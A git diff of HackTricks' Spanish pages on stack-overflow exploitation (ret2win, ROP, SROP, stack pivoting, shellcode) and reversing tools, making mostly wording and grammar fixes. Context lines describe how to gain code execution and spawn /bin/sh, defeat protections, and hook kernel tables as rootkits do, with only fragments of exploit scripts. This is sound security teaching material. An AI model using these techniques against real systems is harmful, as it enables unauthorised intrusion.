@@ -186,7 +186,7 @@ P.interactive() #Interact with your shell :)
 
 ## MAIN_PLT = elf.symbols\['main'] no encontrado
 
-Si el símbolo "main" no existe (probablemente porque es un binario despojado). Entonces puedes simplemente buscar dónde está el código principal:
+Si el símbolo "main" no existe (probablemente porque es un binario despojado). Entonces puedes simplemente ver dónde está el código principal:
 ```python
 objdump -d vuln_binary | grep "\.text"
 Disassembly of section .text:
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md
index b34ebe2d3..8c46ca69b 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md
@@ -69,8 +69,8 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce
 
 ## Protecciones
 
-- [**PIE**](../common-binary-protections-and-bypasses/pie/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Sobrescritura Parcial** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
+- [**PIE**](../common-binary-protections-and-bypasses/pie/) **debería estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Sobrescritura Parcial** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) también deberían estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
 
 ## Otros ejemplos y Referencias
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md
index 4bb92dcb1..d4eebc7bc 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md
@@ -75,11 +75,11 @@ p.interactive()
 ```
 ## Cadena ROP en x64 Ejemplo
 
-### **x64 (64 bits) Convenciones de llamada**
+### **x64 (64-bit) Convenciones de llamada**
 
 - Utiliza la convención de llamada **System V AMD64 ABI** en sistemas similares a Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`.
 - La convención de llamada **Windows x64** utiliza `RCX`, `RDX`, `R8` y `R9` para los primeros cuatro argumentos enteros o punteros, con argumentos adicionales pasados en la pila. El valor de retorno se coloca en `RAX`.
-- **Registros**: Los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`.
+- **Registros**: Los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, y `R8` a `R15`.
 
 #### **Encontrando Gadgets**
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
index 27a2e9745..43d41df03 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
@@ -1,4 +1,4 @@
-# SROP - Programación Orientada a la Devolución de Señales
+# SROP - Programación Orientada a Sigreturn
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -13,7 +13,7 @@ La parte interesante es cómo **`sigreturn`** restaura el estado del programa: l
 > [!CAUTION]
 > Llamar a la syscall **`sigreturn`** desde una cadena ROP y **agregar los valores de registro** que nos gustaría que cargara en la **pila** es posible para **controlar** todos los valores de registro y, por lo tanto, **llamar** por ejemplo a la syscall `execve` con `/bin/sh`.
 
-Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de los parámetros para llamar a otras Ret2syscalls:
+Nota cómo esto sería un **tipo de Ret2syscall** que facilita mucho el control de parámetros para llamar a otras Ret2syscalls:
 
 {{#ref}}
 rop-syscall-execv.md
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index 86f8ec2b9..ed97f20f8 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -18,42 +18,42 @@ Y como el **EBP está en la pila** antes del EIP, es posible controlarlo control
 
 Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse.
 
-Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` regresa, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye ESP en 4, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\
-Nota cómo **necesitas conocer 2 direcciones**: La que donde ESP va a ir, donde necesitarás escribir la dirección a la que apunta ESP.
+Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\
+Nota cómo **necesitas conocer 2 direcciones**: La que donde va a ir el ESP, donde necesitarás escribir la dirección a la que apunta el ESP.
 
 #### Construcción del Exploit
 
-Primero necesitas conocer una **dirección donde puedes escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**.
+Primero necesitas conocer una **dirección donde puedas escribir datos / direcciones arbitrarias**. El ESP apuntará aquí y **ejecutará el primer `ret`**.
 
 Luego, necesitas conocer la dirección utilizada por `ret` que **ejecutará código arbitrario**. Podrías usar:
 
 - Una dirección válida de [**ONE_GADGET**](https://github.com/david942j/one_gadget).
 - La dirección de **`system()`** seguida de **4 bytes basura** y la dirección de `"/bin/sh"` (x86 bits).
 - La dirección de un gadget de **`jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) seguido del **shellcode** a ejecutar.
-- Alguna cadena [**ROP**](rop-return-oriented-programing.md).
+- Alguna cadena de [**ROP**](rop-return-oriented-programing.md).
 
 Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y continuar controlando la ejecución.
 
 #### Exploit Off-By-One
 
-Hay una variante específica de esta técnica conocida como "Exploit Off-By-One". Se utiliza cuando solo puedes **modificar el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.
+Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando solo puedes **modificar el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.
 
 ### **Cadena EBP**
 
 Por lo tanto, al poner una dirección controlada en la entrada `EBP` de la pila y una dirección para `leave; ret` en `EIP`, es posible **mover el `ESP` a la dirección `EBP` controlada desde la pila**.
 
-Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado de ESP esto:
+Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP esto:
 
 - **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave`.
 - **`system()`** -> Llamado por `ret`.
-- **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá ESP al EBP falso y comenzará de nuevo.
+- **`&(leave;ret)`** -> Llamado después de que termine el sistema, moverá el ESP al EBP falso y comenzará de nuevo.
 - **`&("/bin/sh")`**-> Parámetro para `system`.
 
 Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa.
 
 Esto es como un [ret2lib](ret2lib/), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite.
 
-Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con una **fuga de pila** para llamar a una función ganadora. Esta es la carga útil final de la página:
+Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con un **leak de pila** para llamar a una función ganadora. Este es el payload final de la página:
 ```python
 from pwn import *
 
@@ -120,7 +120,7 @@ ret                 # return
 
 ### **`pop rsp`** gadget
 
-[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **`pop rsp` gadget** y hay una **leak de la pila**:
+[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **`pop rsp` gadget** y hay un **leak de la pila**:
 ```python
 # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
 # This version has added comments
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md
index 6cf8c4fc3..db5ab974c 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md
@@ -68,22 +68,22 @@ p.interactive()
 ```
 Este script construye una carga útil que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute.
 
-El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un desplazamiento para aterrizar en el NOP slide.
+El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección inicial de tu buffer más un desplazamiento para aterrizar en el NOP slide.
 
 ## Protecciones
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna leak para averiguar dónde se carga la función win.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win.
 - [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
-- La protección de **stack** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no sería ejecutable.
+- La protección de **stack** [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable.
 
 ## Otros Ejemplos y Referencias
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-- 64bit, ASLR con leak de dirección de pila, escribir shellcode y saltar a él
+- 64bit, ASLR con filtración de dirección de pila, escribir shellcode y saltar a él
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
-- 32 bit, ASLR con leak de pila, escribir shellcode y saltar a él
+- 32 bit, ASLR con filtración de pila, escribir shellcode y saltar a él
 - [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
-- 32 bit, ASLR con leak de pila, comparación para prevenir la llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él
+- 32 bit, ASLR con filtración de pila, comparación para prevenir la llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/reversing/common-api-used-in-malware.md b/src/reversing/common-api-used-in-malware.md
index 1eccf5b78..6fc1f8acb 100644
--- a/src/reversing/common-api-used-in-malware.md
+++ b/src/reversing/common-api-used-in-malware.md
@@ -42,8 +42,8 @@
 
 | Nombre de Función                                             | Instrucciones de Ensamblador |
 | ------------------------------------------------------------ | ------------------------------ |
-| IsDebuggerPresent()                                          | CPUID()                       |
-| GetSystemInfo()                                             | IN()                          |
+| IsDebuggerPresent()                                          | CPUID()                        |
+| GetSystemInfo()                                             | IN()                           |
 | GlobalMemoryStatusEx()                                      |                                |
 | GetVersion()                                                |                                |
 | CreateToolhelp32Snapshot \[Verificar si un proceso está en ejecución] |                                |
@@ -129,11 +129,11 @@ El malware desmapeará el código legítimo de la memoria del proceso y cargará
 
 ## Hooking
 
-- La **SSDT** (**Tabla de Descriptores de Servicios del Sistema**) apunta a funciones del kernel (ntoskrnl.exe) o controlador GUI (win32k.sys) para que los procesos de usuario puedan llamar a estas funciones.
+- La **SSDT** (**Tabla de Descriptores de Servicio del Sistema**) apunta a funciones del kernel (ntoskrnl.exe) o controlador GUI (win32k.sys) para que los procesos de usuario puedan llamar a estas funciones.
 - Un rootkit puede modificar estos punteros a direcciones que controla.
 - **IRP** (**Paquetes de Solicitud de I/O**) transmiten piezas de datos de un componente a otro. Casi todo en el kernel utiliza IRPs y cada objeto de dispositivo tiene su propia tabla de funciones que puede ser enganchada: DKOM (Manipulación Directa de Objetos del Kernel).
 - La **IAT** (**Tabla de Direcciones de Importación**) es útil para resolver dependencias. Es posible enganchar esta tabla para secuestrar el código que será llamado.
 - **EAT** (**Tabla de Direcciones de Exportación**) Hooks. Estos hooks se pueden hacer desde **userland**. El objetivo es enganchar funciones exportadas por DLLs.
-- **Inline Hooks**: Este tipo son difíciles de lograr. Esto implica modificar el código de las funciones mismas. Tal vez poniendo un salto al principio de esto.
+- **Inline Hooks**: Este tipo es difícil de lograr. Esto implica modificar el código de las funciones mismas. Tal vez poniendo un salto al principio de este.
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/reversing/cryptographic-algorithms/README.md b/src/reversing/cryptographic-algorithms/README.md
index 0c062cf4d..9c3c2079b 100644
--- a/src/reversing/cryptographic-algorithms/README.md
+++ b/src/reversing/cryptographic-algorithms/README.md
@@ -1,6 +1,6 @@
-# Algoritmos Criptográficos/De Compresión
+# Algoritmos Criptográficos/Compresión
 
-## Algoritmos Criptográficos/De Compresión
+## Algoritmos Criptográficos/Compresión
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -28,7 +28,7 @@ De [la documentación](https://learn.microsoft.com/en-us/windows/win32/api/wincr
 
 **CryptCreateHash**
 
-Inicia el hashing de un flujo de datos. Si se utiliza esta función, puedes encontrar qué **algoritmo se está utilizando** verificando el valor del segundo parámetro:
+Inicia el hash de un flujo de datos. Si se utiliza esta función, puedes encontrar qué **algoritmo se está utilizando** verificando el valor del segundo parámetro:
 
 ![](<../../images/image (376).png>)
 
@@ -70,7 +70,7 @@ Está compuesto por 3 partes principales:
 > [!NOTE]
 > **Para identificar un RC4 en un código desensamblado/decompilado, puedes buscar 2 bucles de tamaño 0x100 (con el uso de una clave) y luego un XOR de los datos de entrada con los 256 valores creados anteriormente en los 2 bucles, probablemente usando un %256 (mod 256)**
 
-### **Etapa de Inicialización/Caja de Sustitución:** (Nota el número 256 usado como contador y cómo se escribe un 0 en cada lugar de los 256 caracteres)
+### **Etapa de Inicialización/Caja de Sustitución:** (Nota el número 256 utilizado como contador y cómo se escribe un 0 en cada lugar de los 256 caracteres)
 
 ![](<../../images/image (377).png>)
 
@@ -120,7 +120,7 @@ Por lo tanto, es posible identificar este algoritmo verificando el **número má
 
 - Más complejo que los algoritmos simétricos
 - ¡No hay constantes! (las implementaciones personalizadas son difíciles de determinar)
-- KANAL (un analizador criptográfico) no logra mostrar pistas sobre RSA ya que se basa en constantes.
+- KANAL (un analizador criptográfico) no muestra pistas sobre RSA ya que se basa en constantes.
 
 ### Identificación por comparaciones
 
diff --git a/src/reversing/cryptographic-algorithms/unpacking-binaries.md b/src/reversing/cryptographic-algorithms/unpacking-binaries.md
index 5543a48a6..192e493d3 100644
--- a/src/reversing/cryptographic-algorithms/unpacking-binaries.md
+++ b/src/reversing/cryptographic-algorithms/unpacking-binaries.md
@@ -13,7 +13,7 @@
 
 - **Comienza** a analizar el binario empaquetado **desde abajo en IDA y sube**. Los desempaquetadores salen una vez que el código desempaquetado sale, por lo que es poco probable que el desempaquetador pase la ejecución al código desempaquetado al principio.
 - Busca **JMP's** o **CALLs** a **registros** o **regiones** de **memoria**. También busca **funciones que empujan argumentos y una dirección de dirección y luego llaman a `retn`**, porque el retorno de la función en ese caso puede llamar a la dirección que se acaba de empujar a la pila antes de llamarla.
-- Coloca un **punto de interrupción** en `VirtualAlloc`, ya que esto asigna espacio en memoria donde el programa puede escribir código desempaquetado. "Ejecutar hasta el código de usuario" o usa F8 para **obtener el valor dentro de EAX** después de ejecutar la función y "**seguir esa dirección en el volcado**". Nunca sabes si esa es la región donde se va a guardar el código desempaquetado.
+- Coloca un **punto de interrupción** en `VirtualAlloc`, ya que esto asigna espacio en memoria donde el programa puede escribir código desempaquetado. "Ejecutar hasta el código de usuario" o usar F8 para **obtener el valor dentro de EAX** después de ejecutar la función y "**seguir esa dirección en el volcado**". Nunca sabes si esa es la región donde se va a guardar el código desempaquetado.
 - **`VirtualAlloc`** con el valor "**40**" como argumento significa Leer+Escribir+Ejecutar (algún código que necesita ejecución se va a copiar aquí).
 - **Mientras desempaquetas** código, es normal encontrar **varias llamadas** a **operaciones aritméticas** y funciones como **`memcopy`** o **`Virtual`**`Alloc`. Si te encuentras en una función que aparentemente solo realiza operaciones aritméticas y tal vez algún `memcopy`, la recomendación es intentar **encontrar el final de la función** (tal vez un JMP o llamada a algún registro) **o** al menos la **llamada a la última función** y ejecutar hasta allí, ya que el código no es interesante.
 - Mientras desempaquetas código, **nota** cada vez que **cambias la región de memoria**, ya que un cambio en la región de memoria puede indicar el **inicio del código desempaquetado**. Puedes volcar fácilmente una región de memoria usando Process Hacker (proceso --> propiedades --> memoria).
diff --git a/src/reversing/reversing-tools-basic-methods/README.md b/src/reversing/reversing-tools-basic-methods/README.md
index b1bb34f2e..7e802d9ba 100644
--- a/src/reversing/reversing-tools-basic-methods/README.md
+++ b/src/reversing/reversing-tools-basic-methods/README.md
@@ -57,7 +57,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
 
 Para depurar código usando DNSpy, necesitas:
 
-Primero, cambia los **atributos de la Asamblea** relacionados con la **depuración**:
+Primero, cambia los **atributos de ensamblado** relacionados con la **depuración**:
 
 ![](<../../images/image (973).png>)
 ```aspnet
@@ -78,7 +78,7 @@ Luego guarda el nuevo archivo a través de _**Archivo >> Guardar módulo...**_:
 
 ![](<../../images/image (602).png>)
 
-Esto es necesario porque si no lo haces, en **tiempo de ejecución** se aplicarán varias **optimizaciones** al código y podría ser posible que mientras depuras un **punto de interrupción nunca se active** o algunas **variables no existan**.
+Esto es necesario porque si no lo haces, en **tiempo de ejecución** se aplicarán varias **optimizaciones** al código y podría ser posible que mientras depuras un **punto de interrupción nunca se active** o que algunas **variables no existan**.
 
 Luego, si tu aplicación .NET está siendo **ejecutada** por **IIS**, puedes **reiniciarla** con:
 ```
@@ -125,22 +125,22 @@ Haz clic derecho en cualquier módulo en **Assembly Explorer** y haz clic en **S
 
 ![](<../../images/image (704).png>)
 
-Luego, cuando comiences a depurar **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá.
+Luego, cuando comiences a depurar, **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá.
 
 Pero, ¿cómo puedes llegar al código de la DLL que fue cargada? Usando este método, no sé cómo.
 
 ### Usando x64dbg/x32dbg
 
 - **Cargar rundll32** (64 bits en C:\Windows\System32\rundll32.exe y 32 bits en C:\Windows\SysWOW64\rundll32.exe)
-- **Cambiar la Línea de Comando** (_File --> Change Command Line_) y establecer la ruta de la dll y la función que deseas llamar, por ejemplo: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
+- **Cambiar la línea de comandos** (_File --> Change Command Line_) y establecer la ruta de la dll y la función que deseas llamar, por ejemplo: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii_2.dll",DLLMain
 - Cambiar _Options --> Settings_ y seleccionar "**DLL Entry**".
 - Luego **iniciar la ejecución**, el depurador se detendrá en cada main de dll, en algún momento te **detendrás en la entrada de la dll de tu dll**. Desde allí, solo busca los puntos donde deseas poner un punto de interrupción.
 
-Ten en cuenta que cuando la ejecución se detiene por cualquier razón en win64dbg puedes ver **en qué código estás** mirando en **la parte superior de la ventana de win64dbg**:
+Ten en cuenta que cuando la ejecución se detiene por cualquier razón en win64dbg, puedes ver **en qué código estás** mirando en **la parte superior de la ventana de win64dbg**:
 
 ![](<../../images/image (842).png>)
 
-Luego, mirando esto puedes ver cuándo se detuvo la ejecución en la dll que deseas depurar.
+Luego, mirando esto, puedes ver cuándo se detuvo la ejecución en la dll que deseas depurar.
 
 ## Aplicaciones GUI / Videojuegos
 
@@ -150,7 +150,7 @@ Luego, mirando esto puedes ver cuándo se detuvo la ejecución en la dll que des
 cheat-engine.md
 {{#endref}}
 
-[**PiNCE**](https://github.com/korcankaraokcu/PINCE) es una herramienta de front-end/reverse engineering para el Depurador del Proyecto GNU (GDB), enfocada en juegos. Sin embargo, se puede usar para cualquier cosa relacionada con la ingeniería inversa.
+[**PiNCE**](https://github.com/korcankaraokcu/PINCE) es una herramienta de front-end/reverse engineering para el depurador del Proyecto GNU (GDB), enfocada en juegos. Sin embargo, se puede usar para cualquier cosa relacionada con la ingeniería inversa.
 
 [**Decompiler Explorer**](https://dogbolt.org/) es un front-end web para varios descompiladores. Este servicio web te permite comparar la salida de diferentes descompiladores en pequeños ejecutables.
 
@@ -174,7 +174,7 @@ blobrunner.md
 
 ### Depurando un shellcode con jmp2it
 
-[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) es muy similar a blobrunner. **Asignará** el **shellcode** dentro de un espacio de memoria y comenzará un **bucle eterno**. Luego necesitas **adjuntar el depurador** al proceso, **jugar iniciar esperar 2-5 segundos y presionar detener** y te encontrarás dentro del **bucle eterno**. Salta a la siguiente instrucción del bucle eterno ya que será una llamada al shellcode, y finalmente te encontrarás ejecutando el shellcode.
+[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) es muy similar a blobrunner. **Asignará** el **shellcode** dentro de un espacio de memoria y comenzará un **bucle eterno**. Luego necesitas **adjuntar el depurador** al proceso, **presionar iniciar, esperar 2-5 segundos y presionar detener** y te encontrarás dentro del **bucle eterno**. Salta a la siguiente instrucción del bucle eterno, ya que será una llamada al shellcode, y finalmente te encontrarás ejecutando el shellcode.
 
 ![](<../../images/image (509).png>)
 
@@ -184,7 +184,7 @@ Puedes descargar una versión compilada de [jmp2it en la página de lanzamientos
 
 [**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) es la GUI de radare. Usando cutter puedes emular el shellcode e inspeccionarlo dinámicamente.
 
-Ten en cuenta que Cutter te permite "Abrir Archivo" y "Abrir Shellcode". En mi caso, cuando abrí el shellcode como un archivo, lo descompiló correctamente, pero cuando lo abrí como un shellcode no lo hizo:
+Ten en cuenta que Cutter te permite "Abrir archivo" y "Abrir shellcode". En mi caso, cuando abrí el shellcode como un archivo, lo descompiló correctamente, pero cuando lo abrí como un shellcode no lo hizo:
 
 ![](<../../images/image (562).png>)
 
@@ -368,8 +368,8 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
 ```
 En el código anterior, puedes ver que estamos comparando **uVar1** (el lugar donde está el **valor del botón presionado**) con algunos valores:
 
-- Primero, se compara con el **valor 4** (botón **SELECT**): En el desafío, este botón borra la pantalla.
-- Luego, se compara con el **valor 8** (botón **START**): En el desafío, esto verifica si el código es válido para obtener la bandera.
+- Primero, se compara con el **valor 4** (**botón SELECT**): En el desafío, este botón borra la pantalla.
+- Luego, se compara con el **valor 8** (**botón START**): En el desafío, esto verifica si el código es válido para obtener la bandera.
 - En este caso, la var **`DAT_030000d8`** se compara con 0xf3 y si el valor es el mismo, se ejecuta algún código.
 - En cualquier otro caso, se verifica algún cont (`DAT_030000d4`). Es un cont porque se suma 1 justo después de entrar en el código.\
 **Si** es menor que 8, se realiza algo que involucra **sumar** valores a \*\*`DAT_030000d8` \*\* (básicamente, se suman los valores de las teclas presionadas en esta variable siempre que el cont sea menor que 8).
diff --git a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md
index f17e5b502..a59f1cb27 100644
--- a/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md
+++ b/src/reversing/reversing-tools-basic-methods/angr/angr-examples.md
@@ -386,7 +386,7 @@ main(sys.argv)
 > ```python
 >   # Hola mundo, mi nombre es John.
 >   # ^                       ^
->   # ^ dirección 0          ^ dirección 24 (cuente el número de caracteres)
+>   # ^ dirección 0             ^ dirección 24 (cuente el número de caracteres)
 >   # Para representar esto en memoria, querríamos escribir la cadena al
 >   # principio del archivo:
 >   #
@@ -408,7 +408,7 @@ main(sys.argv)
 
 > [!NOTE]
 > A veces, operaciones humanas simples como comparar 2 palabras de longitud 16 **carácter por carácter** (bucle), **cuestan** mucho a **angr** porque necesita generar ramas **exponencialmente** ya que genera 1 rama por cada if: `2^16`\
-> Por lo tanto, es más fácil **pedir a angr que regrese a un punto anterior** (donde la parte realmente difícil ya se había hecho) y **establecer esas restricciones manualmente**.
+> Por lo tanto, es más fácil **pedir a angr que regrese a un punto anterior** (donde la parte realmente difícil ya fue hecha) y **establecer esas restricciones manualmente**.
 ```python
 # After perform some complex poperations to the input the program checks
 # char by char the password against another password saved, like in the snippet:
diff --git a/src/reversing/reversing-tools-basic-methods/cheat-engine.md b/src/reversing/reversing-tools-basic-methods/cheat-engine.md
index 0f589389d..d4b944d26 100644
--- a/src/reversing/reversing-tools-basic-methods/cheat-engine.md
+++ b/src/reversing/reversing-tools-basic-methods/cheat-engine.md
@@ -150,7 +150,7 @@ Se generará una plantilla:
 
 ![](<../../images/image (944).png>)
 
-Así que, inserta tu nuevo código ensamblador en la sección "**newmem**" y elimina el código original de "**originalcode**" si no deseas que se ejecute\*\*.\*\* En este ejemplo, el código inyectado sumará 2 puntos en lugar de restar 1:
+Así que, inserta tu nuevo código de ensamblador en la sección "**newmem**" y elimina el código original de "**originalcode**" si no deseas que se ejecute\*\*.\*\* En este ejemplo, el código inyectado sumará 2 puntos en lugar de restar 1:
 
 ![](<../../images/image (521).png>)
 
diff --git a/src/reversing/reversing-tools/README.md b/src/reversing/reversing-tools/README.md
index 1bf6d09d8..fb43ca01f 100644
--- a/src/reversing/reversing-tools/README.md
+++ b/src/reversing/reversing-tools/README.md
@@ -7,7 +7,7 @@ En el ámbito de **WebAssembly**, las herramientas para **decompilar** y **compi
 ## Herramientas en Línea
 
 - Para **decompilar** Wasm a Wat, la herramienta disponible en [la demo wasm2wat de Wabt](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) es útil.
